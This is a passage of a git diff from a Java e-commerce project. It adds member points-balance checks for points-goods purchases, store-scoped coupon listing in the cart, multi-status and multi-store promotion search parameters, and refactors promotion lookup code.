@@ import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; +import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.store.service.StoreService; @@ -113,6 +114,9 @@ public class GoodsMessageListener implements RocketMQListener { @Autowired private StoreGoodsLabelService storeGoodsLabelService; + @Autowired + private PromotionService promotionService; + @Autowired private PromotionGoodsService promotionGoodsService; @@ -362,6 +366,11 @@ public class GoodsMessageListener implements RocketMQListener { goodsIndex.setStoreCategoryNamePath(ArrayUtil.join(storeGoodsLabels.stream().map(StoreGoodsLabel::getLabelName).toArray(), ",")); } } + + if (goodsIndex.getPromotionMap() == null || goodsIndex.getPromotionMap().isEmpty()) { + Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(goodsIndex); + goodsIndex.setPromotionMap(goodsCurrentPromotionMap); + } } diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index 264b36fc..6b621a35 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -67,6 +67,7 @@ public enum ResultCode { GOODS_AUTH_ERROR(11005, "商品审核失败"), POINT_GOODS_ERROR(11006, "积分商品业务异常,请稍后重试"), POINT_GOODS_NOT_EXIST(11020, "积分商品不存在"), + POINT_GOODS_CATEGORY_EXIST(11021, "当前积分商品分类已存在"), GOODS_SKU_SN_ERROR(11007, "商品SKU货号不能为空"), GOODS_SKU_PRICE_ERROR(11008, "商品SKU价格不能小于等于0"), GOODS_SKU_COST_ERROR(11009, "商品SKU成本价不能小于等于0"), @@ -179,6 +180,7 @@ public enum ResultCode { ORDER_CAN_NOT_CANCEL(31012, "当前订单状态不可取消"), ORDER_BATCH_DELIVER_ERROR(31013, "批量发货,文件读取失败"), ORDER_ITEM_NOT_EXIST(31014, "当前订单项不存在!"), + POINT_NOT_ENOUGH(31015, "当前会员积分不足购买当前积分商品!"), /** diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java index bc50c52d..205672c0 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java @@ -8,6 +8,7 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.modules.goods.entity.dto.GoodsOperationDTO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.goods.entity.enums.GoodsTypeEnum; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonIgnore; @@ -181,7 +182,7 @@ public class Goods extends BaseEntity { throw new ServiceException(ResultCode.GOODS_SKU_COST_ERROR); } //虚拟商品没有重量字段 - if (!sku.containsKey("weight") || sku.containsKey("weight") && (StringUtil.isEmpty(sku.get("weight").toString()) || Convert.toDouble(sku.get("weight").toString()) < 0)) { + if (this.goodsType.equals(GoodsTypeEnum.PHYSICAL_GOODS.name()) && (!sku.containsKey("weight") || sku.containsKey("weight") && (StringUtil.isEmpty(sku.get("weight").toString()) || Convert.toDouble(sku.get("weight").toString()) < 0))) { throw new ServiceException(ResultCode.GOODS_SKU_WEIGHT_ERROR); } if (!sku.containsKey("quantity") || StringUtil.isEmpty(sku.get("quantity").toString()) || Convert.toInt(sku.get("quantity").toString()) < 0) { diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 30bcd611..37d3268c 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -241,7 +241,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取当前商品的索引信息 EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId); if (goodsIndex == null) { - goodsIndex = goodsIndexService.resetEsGoodsIndex(goodsSku, goodsVO.getGoodsParamsDTOList()); + goodsIndex = goodsIndexService.getTempEsGoodsIndex(goodsSku, goodsVO.getGoodsParamsDTOList()); //发送mq消息 String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartVO.java index 4f60aa4a..9da4da6a 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartVO.java @@ -85,6 +85,7 @@ public class CartVO extends CartBase implements Serializable { this.setCouponList(new ArrayList<>()); this.setGiftList(new ArrayList<>()); this.setGiftCouponList(new ArrayList<>()); + this.setCanReceiveCoupon(new ArrayList<>()); this.setChecked(false); this.isFull = false; this.weight = 0d; diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java index bcbfd597..f1c4c894 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java @@ -44,6 +44,7 @@ public class RenderStepStatement { public static RenderStepEnums[] checkedSingleRender = { RenderStepEnums.CHECK_DATA, RenderStepEnums.SKU_PROMOTION, + RenderStepEnums.COUPON, RenderStepEnums.SKU_FREIGHT, RenderStepEnums.CART_PRICE }; diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 4f8ca2a5..4c40767e 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -20,9 +20,12 @@ import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.vos.CouponVO; +import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -39,6 +42,7 @@ import java.util.stream.Collectors; * @since 2020-07-02 14:47 */ @Service +@Slf4j public class CheckDataRender implements CartRenderStep { @Autowired @@ -144,6 +148,16 @@ public class CheckDataRender implements CartRenderStep { cartVO.setDeliveryMethod(DeliveryMethodEnum.LOGISTICS.name()); } cartVO.setSkuList(storeCart.getValue()); + try { + //筛选属于当前店铺的优惠券 + storeCart.getValue().forEach(i -> i.getPromotionMap().forEach((key, value) -> { + if (key.contains(PromotionTypeEnum.COUPON.name()) && ((Coupon) value).getStoreId().equals(storeCart.getKey())) { + cartVO.getCanReceiveCoupon().add(new CouponVO((Coupon) value)); + } + })); + } catch (Exception e) { + log.error("筛选属于当前店铺的优惠券发生异常!", e); + } storeCart.getValue().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).findFirst().ifPresent(cartSkuVO -> cartVO.setChecked(true)); cartList.add(cartVO); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 3302449e..6ff74e3c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -1,8 +1,12 @@ package cn.lili.modules.order.cart.render.impl; import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.CurrencyUtil; +import cn.lili.modules.member.entity.dos.Member; +import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.RenderStepEnums; import cn.lili.modules.order.cart.entity.vo.CartSkuVO; @@ -34,6 +38,9 @@ public class SkuPromotionRender implements CartRenderStep { @Autowired private KanjiaActivityService kanjiaActivityService; + @Autowired + private MemberService memberService; + @Override public RenderStepEnums step() { return RenderStepEnums.SKU_PROMOTION; @@ -76,14 +83,20 @@ public class SkuPromotionRender implements CartRenderStep { //这里是双重循环,但是实际积分购买或者是砍价购买时,购物车只有一个商品,所以没有循环操作数据库或者其他的问题 case POINTS: + Member userInfo = memberService.getUserInfo(); + long totalPayPoints = 0; //处理积分商品购买 for (CartVO cartVO : tradeDTO.getCartList()) { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { cartSkuVO.getPriceDetailDTO().setPayPoint(cartSkuVO.getPoint()); PromotionSkuVO promotionSkuVO = new PromotionSkuVO(PromotionTypeEnum.POINTS_GOODS.name(), cartSkuVO.getPointsId()); cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); + totalPayPoints += cartSkuVO.getPoint(); } } + if (userInfo.getPoint() < totalPayPoints) { + throw new ServiceException(ResultCode.POINT_NOT_ENOUGH); + } return; case KANJIA: for (CartVO cartVO : tradeDTO.getCartList()) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index cb406aa7..6c339a65 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -16,8 +16,10 @@ import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.service.MemberAddressService; +import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; @@ -127,34 +129,19 @@ public class CartServiceImpl implements CartService { @Autowired private TradeBuilder tradeBuilder; + @Autowired + private MemberService memberService; + @Override public void add(String skuId, Integer num, String cartType, Boolean cover) { + AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); if (num <= 0) { throw new ServiceException(ResultCode.CART_NUM_ERROR); } CartTypeEnum cartTypeEnum = getCartType(cartType); GoodsSku dataSku = checkGoods(skuId); - Map promotionMap; - EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId); - if (goodsIndex == null) { - GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId()); - goodsIndex = goodsIndexService.resetEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); + Map promotionMap = this.getCurrentGoodsPromotion(dataSku, cartType); - //发送mq消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); - } - if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) { - if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || - (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) - && CartTypeEnum.PINTUAN.name().equals(cartType))) { - dataSku.setPromotionFlag(true); - dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); - } - promotionMap = goodsIndex.getPromotionMap(); - } else { - promotionMap = null; - } try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -200,7 +187,6 @@ public class CartServiceImpl implements CartService { cartSkuVO.setChecked(true); } else { tradeDTO = new TradeDTO(cartTypeEnum); - AuthUser currentUser = UserContext.getCurrentUser(); tradeDTO.setMemberId(currentUser.getId()); tradeDTO.setMemberName(currentUser.getUsername()); List cartSkuVOS = tradeDTO.getSkuList(); @@ -569,6 +555,31 @@ public class CartServiceImpl implements CartService { return trade; } + private Map getCurrentGoodsPromotion(GoodsSku dataSku, String cartType) { + Map promotionMap; + EsGoodsIndex goodsIndex = goodsIndexService.findById(dataSku.getId()); + if (goodsIndex == null) { + GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId()); + goodsIndex = goodsIndexService.getTempEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); + + //发送mq消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); + } + if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) { + if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || + (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) + && CartTypeEnum.PINTUAN.name().equals(cartType))) { + dataSku.setPromotionFlag(true); + dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); + } + promotionMap = goodsIndex.getPromotionMap(); + } else { + promotionMap = null; + } + return promotionMap; + } + /** * 获取购物车类型 @@ -763,7 +774,10 @@ public class CartServiceImpl implements CartService { PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); if (pointsGoodsVO != null) { - + Member userInfo = memberService.getUserInfo(); + if (userInfo.getPoint() < pointsGoodsVO.getPoints()) { + throw new ServiceException(ResultCode.POINT_NOT_ENOUGH); + } if (pointsGoodsVO.getActiveStock() < 1) { throw new ServiceException(ResultCode.POINT_GOODS_ACTIVE_STOCK_INSUFFICIENT); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 2475528d..eafc4877 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -125,11 +125,16 @@ public class PromotionGoods extends BaseEntity { } - public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { if (kanjiaActivityGoodsDTO != null) { BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); BeanUtil.copyProperties(kanjiaActivityGoodsDTO.getGoodsSku(), this, "id"); + this.setQuantity(kanjiaActivityGoodsDTO.getStock()); + this.setPromotionId(kanjiaActivityGoodsDTO.getId()); + this.setPromotionType(PromotionTypeEnum.KANJIA.name()); + this.setTitle(PromotionTypeEnum.KANJIA.name() + "-" + kanjiaActivityGoodsDTO.getGoodsName()); + this.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + this.setPromotionType(PromotionTypeEnum.KANJIA.name()); } } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 6ed0dfaf..54c0230d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -5,6 +5,7 @@ import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.vos.SeckillVO; +import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -61,8 +62,8 @@ public class Seckill extends BasePromotions { this.seckillRule = seckillRule; this.goodsNum = 0; //BasePromotion - this.setStoreName("platform"); - this.setStoreId("platform"); + this.setStoreName(PromotionTools.PLATFORM_NAME); + this.setStoreId(PromotionTools.PLATFORM_ID); this.setPromotionName(DateUtil.formatDate(dateTime) + " 秒杀活动"); this.setStartTime(dateTime); this.setEndTime(DateUtil.endOfDay(dateTime)); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java index 6c73c83f..5999e332 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/BasePromotionsSearchParams.java @@ -8,6 +8,7 @@ import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import java.util.Arrays; import java.util.Date; /** @@ -29,7 +30,7 @@ public class BasePromotionsSearchParams { /** * @see PromotionsStatusEnum */ - @ApiModelProperty(value = "活动状态") + @ApiModelProperty(value = "活动状态 如需同时判断多个活动状态','分割") private String promotionStatus; /** @@ -38,6 +39,9 @@ public class BasePromotionsSearchParams { @ApiModelProperty(value = "关联范围类型") private String scopeType; + @ApiModelProperty(value = "店铺编号 如有多个','分割") + private String storeId; + public QueryWrapper queryWrapper() { QueryWrapper queryWrapper = new QueryWrapper<>(); @@ -51,11 +55,18 @@ public class BasePromotionsSearchParams { queryWrapper.le("end_time", new Date(endTime)); } if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); + queryWrapper.and(i -> { + for (String status : promotionStatus.split(",")) { + i.or(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(status))); + } + }); } if (CharSequenceUtil.isNotEmpty(scopeType)) { queryWrapper.eq("scope_type", scopeType); } + if (CharSequenceUtil.isNotEmpty(storeId)) { + queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); + } queryWrapper.eq("delete_flag", false); return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java index 17c95a1b..a57b6b85 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/CouponSearchParams.java @@ -9,7 +9,6 @@ import lombok.Data; import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Arrays; import java.util.Date; /** @@ -27,9 +26,6 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se private static final String PRICE_COLUMN = "price"; private static final String RANGE_DAY_TYPE_COLUMN = "range_day_type"; - @ApiModelProperty(value = "店铺编号") - private String storeId; - @ApiModelProperty(value = "会员id") private String memberId; @@ -69,10 +65,7 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se @Override public QueryWrapper queryWrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); - if (storeId != null) { - queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); - } + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(couponName)) { queryWrapper.like("coupon_name", couponName); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java index 7dc41e69..d1f0adb5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/FullDiscountSearchParams.java @@ -7,7 +7,6 @@ import lombok.Data; import lombok.EqualsAndHashCode; import java.io.Serializable; -import java.util.Arrays; /** * 满优惠查询通用类 @@ -25,9 +24,6 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme @ApiModelProperty(value = "活动名称") private String promotionName; - @ApiModelProperty(value = "店铺编号 如有多个','分割") - private String storeId; - @ApiModelProperty(value = "是否赠优惠券") private Boolean couponFlag; @@ -40,9 +36,6 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme if (CharSequenceUtil.isNotEmpty(promotionName)) { queryWrapper.like("title", promotionName); } - if (storeId != null) { - queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); - } if (couponFlag != null) { queryWrapper.eq("coupon_flag", couponFlag); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java index 36069bf5..c49cf6af 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanSearchParams.java @@ -18,9 +18,6 @@ import javax.validation.constraints.NotEmpty; @Data public class PintuanSearchParams extends BasePromotionsSearchParams { - @ApiModelProperty(value = "商家id") - private String storeId; - @ApiModelProperty(value = "商家名称,如果是平台,这个值为 platform") private String storeName; @@ -38,9 +35,6 @@ public class PintuanSearchParams extends BasePromotionsSearchParams { if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (CharSequenceUtil.isNotEmpty(storeId)) { - queryWrapper.eq("store_id", storeId); - } return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java index f1661f06..b3da07fc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java @@ -26,9 +26,6 @@ public class PromotionGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "促销类型") private String promotionType; - @ApiModelProperty(value = "商品活动id") - private String storeId; - @ApiModelProperty(value = "商品名称") private String goodsName; @@ -63,9 +60,6 @@ public class PromotionGoodsSearchParams extends BasePromotionsSearchParams { if (CharSequenceUtil.isNotEmpty(categoryPath)) { queryWrapper.like("category_path", categoryPath); } - if (CharSequenceUtil.isNotEmpty(storeId)) { - queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); - } if (CharSequenceUtil.isNotEmpty(skuId)) { queryWrapper.in("sku_id", Arrays.asList(skuId.split(","))); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java index bebeac2f..a19f4ec7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java @@ -34,9 +34,6 @@ public class SeckillSearchParams extends BasePromotionsSearchParams implements S @ApiModelProperty(value = "商家id") private String[] storeIds; - @ApiModelProperty(value = "商家编号") - private String storeId; - @ApiModelProperty(value = "商品名称") private String goodsName; diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java index eb1063b7..93a186d1 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java @@ -3,7 +3,6 @@ package cn.lili.modules.promotion.service; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; @@ -34,19 +33,13 @@ public interface PromotionGoodsService extends IService { } /** - * 更新促销活动 - * - * @param cartSkuVO 购物车中的产品 - */ - void updatePromotion(CartSkuVO cartSkuVO); - - /** - * 获取某sku当日所有活动 + * 获取某sku所有有效活动 * * @param skuId 商品skuId + * @param storeIds 店铺id * @return 促销商品集合 */ - List findNowSkuPromotion(String skuId); + List findSkuValidPromotion(String skuId, String storeIds); /** * 分页获取促销商品信息 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java index 99f2d01a..2349f055 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java @@ -25,6 +25,6 @@ public interface PromotionService { * @param index 商品索引 * @return 当前促销活动集合 */ - Map getGoodsCurrentPromotionMap(EsGoodsIndex index); + Map getGoodsPromotionMap(EsGoodsIndex index); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index 5b617f98..5264f309 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -220,8 +220,9 @@ public abstract class AbstractPromotionsServiceImpl, T e this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); return; } - if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { + if (CharSequenceUtil.equalsAny(promotions.getScopeType(), PromotionsScopeTypeEnum.ALL.name(), PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { PromotionGoods promotionGoods = new PromotionGoods(); + promotionGoods.setScopeId(promotions.getScopeId()); promotionGoods.setScopeType(promotions.getScopeType()); promotionGoods.setPromotionId(promotions.getId()); promotionGoods.setStoreId(promotions.getStoreId()); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java index e98c9306..f9a99c45 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityServiceImpl.java @@ -19,6 +19,7 @@ import cn.lili.modules.promotion.service.CouponActivityItemService; import cn.lili.modules.promotion.service.CouponActivityService; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; +import cn.lili.modules.promotion.tools.PromotionTools; import groovy.util.logging.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -203,7 +204,7 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl fullDiscounts = fullDiscountService.listFindAll(searchParams); if (fullDiscounts != null && !fullDiscounts.isEmpty()) { throw new ServiceException("当前优惠券参与了促销活动【" + fullDiscounts.get(0).getPromotionName() + "】不能进行编辑删除操作"); @@ -228,6 +229,10 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl promotionGoodsList = PromotionTools.promotionGoodsInit(couponVO.getPromotionGoodsList(), couponVO, this.getPromotionType()); + for (PromotionGoods promotionGoods : promotionGoodsList) { + promotionGoods.setStoreId(promotions.getStoreId()); + promotionGoods.setStoreName(promotions.getStoreName()); + } //促销活动商品更新 this.promotionGoodsService.saveBatch(promotionGoodsList); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index 219c8fc9..bb41f1bc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -261,7 +261,8 @@ public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImp throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); } this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(kanJiaActivityGoodsDTO.getId())); - this.updatePromotionsGoods(kanJiaActivityGoodsDTO); + PromotionGoods promotionGoods = new PromotionGoods(kanJiaActivityGoodsDTO); + this.promotionGoodsService.save(promotionGoods); this.updateEsGoodsIndex(kanJiaActivityGoodsDTO); //修改数据库 return this.updateById(kanJiaActivityGoodsDTO); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index e2c7f024..0b305710 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -15,6 +15,7 @@ import 